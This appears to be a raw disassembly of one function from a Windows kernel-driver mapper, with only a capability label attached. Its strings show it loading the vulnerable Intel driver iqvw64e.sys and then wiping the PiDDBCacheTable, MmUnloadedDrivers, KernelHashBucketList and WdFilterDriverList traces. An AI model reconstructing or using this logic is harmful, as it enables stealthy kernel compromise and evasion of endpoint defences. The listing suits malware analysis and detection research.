Function at 0x140168215
Capabilities:
Delete file

Disassembly:
jmp 0x140356ca0
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14054a080]
xor rax, rbp
mov qword [rbp + 0x400], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140168477
nop
xor ecx, ecx
call fcn.14035a450
mov qword [rbp + 0x3d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rbp + 0x3d8]
imul ecx, eax
mov eax, ecx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
nop
call fcn.1401651d2
movzx eax, al
test eax, eax
je 0x140356d4e
lea rdx, str.____DeviceNal_is_already_in_use.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rax, 0xffffffffffffffff
jmp 0x1403572bb
mov r8d, 0x64
xor edx, edx
lea rcx, [0x140554460]
call fcn.140166811
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, reloc.WS2_32.dll_sendto
idiv ecx
mov eax, edx
add eax, 0xa
mov dword [rbp + 4], eax
mov dword [rbp + 0x24], 0
jmp 0x140356d8a
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x24], eax
jge 0x140356dc3
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
mov ecx, 0x34
div rcx
mov rax, rdx
lea rcx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
movsxd rdx, dword [rbp + 0x24]
lea r8, [0x140554460]
movzx eax, byte [rcx + rax]
mov byte [r8 + rdx], al
jmp 0x140356d82
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rcx, [rbp + 0x228]
call fcn.140165cd6
mov qword [rbp + 0x3e0], rax
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3e8], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x3f0], rax
mov rdx, qword [rbp + 0x3f0]
mov rcx, qword [rbp + 0x3d8]
call fcn.14016526d
mov qword [rbp + 0x3f8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3f8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x228]
call fcn.14016738d
nop
lea rcx, [rbp + 0x48]
call fcn.14016268f
nop
lea rcx, [rbp + 0x48]
call fcn.140165ddf
movzx eax, al
test eax, eax
je 0x140356eb1
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov qword [rbp + 0x268], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x268]
jmp 0x1403572bb
lea rcx, [rbp + 0x48]
call fcn.14016376a
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
nop
mov r8d, 0x8708
lea rdx, [0x1404e5980]
lea rcx, [rbp + 0x48]
call fcn.14016310c
movzx eax, al
test eax, eax
jne 0x140356f30
lea rdx, str.____Failed_to_create_vulnerable_driver_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov qword [rbp + 0x288], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x288]
jmp 0x1403572bb
lea rcx, [rbp + 0x48]
call fcn.14016213f
movzx eax, al
test eax, eax
jne 0x140356fa2
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x48]
call fcn.14016376a
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
nop
mov qword [rbp + 0x2a8], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x2a8]
jmp 0x1403572bb
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [0x1404f2b18]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140356fee
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x14035704a
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140167cd9
nop
mov qword [rbp + 0x2c8], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x2c8]
jmp 0x1403572bb
lea rdx, str.ntoskrnl.exe
lea rcx, [rbp + 0x2e8]
call fcn.1401644d5
nop
lea rcx, [rbp + 0x2e8]
call fcn.1401616a9
mov qword [0x1405544c8], rax
lea rcx, [rbp + 0x2e8]
call fcn.1401624e6
nop
cmp qword [0x1405544c8], 0
jne 0x1403570e4
lea rdx, str.____Failed_to_get_ntoskrnl.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140167cd9
nop
mov qword [rbp + 0x328], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x328]
jmp 0x1403572bb
mov rcx, qword [rbp + 0x88]
call fcn.140163d14
movzx eax, al
test eax, eax
jne 0x140357153
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140167cd9
nop
mov qword [rbp + 0x348], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x348]
jmp 0x1403572bb
mov rcx, qword [rbp + 0x88]
call fcn.14016838c
movzx eax, al
test eax, eax
jne 0x1403571c2
lea rdx, str.____Failed_to_ClearKernelHashBucketList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140167cd9
nop
mov qword [rbp + 0x368], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x368]
jmp 0x1403572bb
mov rcx, qword [rbp + 0x88]
call fcn.1401662fd
movzx eax, al
test eax, eax
jne 0x140357231
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164c23
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140167cd9
nop
mov qword [rbp + 0x388], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x388]
jmp 0x1403572bb
mov rcx, qword [rbp + 0x88]
call fcn.14016505b
movzx eax, al
test eax, eax
jne 0x14035729d
lea rdx, str.____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140164f11
mov qword [rbp + 0x3d8], rax
lea rdx, [0x1401648cc]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140167cd9
nop
mov qword [rbp + 0x3a8], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x3a8]
jmp 0x1403572bb
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x3c8], rax
lea rcx, [rbp + 0x48]
call fcn.14016738d
mov rax, qword [rbp + 0x3c8]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, reloc.WS2_32.dll_accept
call fcn.14016710d
mov rax, rdi
mov rcx, qword [rbp + 0x400]
xor rcx, rbp
call fcn.140164822
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret